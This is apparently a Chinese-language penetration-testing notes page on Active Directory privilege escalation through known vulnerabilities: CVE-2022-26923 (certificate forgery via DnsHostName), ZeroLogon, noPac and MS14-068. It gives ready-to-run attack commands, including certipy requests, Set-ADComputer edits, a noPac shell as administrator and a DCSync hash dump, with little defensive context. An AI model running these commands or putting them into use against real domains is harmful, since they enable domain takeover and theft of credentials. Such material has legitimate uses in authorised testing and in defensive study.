Skip to main content

历史漏洞的利用

CVE-2022-26923 证书服务提权漏洞

CVE-2022–26923 允许攻击者修改 DnsHostName 属性,该属性指定在 DNS 中注册的计算机名称,然后使攻击者能够从 AD 证书服务获取证书,从而导致特权提升。

1:使用certipy (https://github.com/ly4k/Certipy) 工具为低权限的域用户申请一个证书

certipy req 'med-factory/user_test:Password123#@cert01.med-raven.local' -ca MY-DOMAIN-HOSTNAME-CA -template User

2:测试证书与是否有效以及它是否可以通过 Certipy 用于 Kerberos 身份验证

certipy auth -pfx user_test.pfx

3:在域内增加一个新的主机

addcomputer.py 'my.domain.com/user_test:Password123#' -method LDAPS -computer-name 'NEW_PC' -computer-pass 'Password123#'

4:让我们为我们创建的新计算机生成一个证书。 要使用该计算机的机器帐户,需要在名称末尾添加一个“$”

certipy req 'my.domain.com/NEW_PC$:Password123#@hostname.my.domain.com' -ca MY-DOMAIN-HOSTNAME-CA -template Machine

5:在被拿下的主机上,更新dnshostname以及spn属性

Get-ADComputer NEW_PC -properties dnshostname,serviceprincipalname

6:移除现有SPN属性

Set-ADComputer NEW_PC -ServicePrincipalName @{}

7:将dnshostname值设置为DC的

Set-ADComputer NEW_PC -DnsHostName HOSTANME.my.domain.com

8:在攻击主机上伪造一个恶意证书

certipy req 'my.domain.com/NEW_PC$:Password123#@hostname.my.domain.com' -ca MY-DOMAIN-HOSTNAME-CA -template Machine

9:验证证书是否工作并且返回NTLM哈希

certipy auth -pfx hostname.pfx

 

CVE-2020-1472 ZeroLogon漏洞


因为脆弱的密码学设计,攻击者可以绕过认证并模仿任何域主机,包括域控制器,以实现提权。这里,我们使用来自 https://github.com/dirkjanm/CVE-2020-1472 的exp。

1:运行 cve-2022-1472-exploit.py 脚本,我们需要提供DC的IP以及netbios名

2:之后,使用impacket中的secretdump.py 脚本,加上 -just-dc 以及 -no-pass 参数,通过DCSync导出哈希。


CVE-2021-42278 NoPAC漏洞

该漏洞实际上利用了主机账号的伪造,攻击者可以从普通用户提升为域管理员。这里,我们使用来自 https://github.com/Ridter/noPac 的exp。

1:使用exp一键拿shell python noPac.py cgdomain.com/sanfeng:'1qaz@WSX' -dc-ip 10.211.55.203 -dc-host lab2012 -shell --impersonate administrator 

 

MS14-068

因为KDC对于伪造票据签名的失败校验,攻击者可以模仿域管理员从而接管域。我们使用来自 https://github.com/mubix/pykek 的exp。

1:执行命令 python ms14-068.py -u [域用户名] -s [用户SID] -d [DC的FQDN] -p [明文密码]